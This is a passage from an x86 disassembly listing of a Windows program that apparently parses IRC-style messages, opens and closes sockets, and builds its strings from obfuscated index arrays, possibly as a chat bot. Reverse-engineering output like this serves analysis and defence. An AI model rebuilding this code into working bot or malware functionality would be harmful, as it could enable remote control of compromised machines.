"!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44742D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F70 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F70 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E85 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E85 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447140 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_447100 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CEC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447104 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447130 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CE4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447134 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EE1E5 nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F70 call sub_4015D7 push offset dword_443D18 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443D08 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CFC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 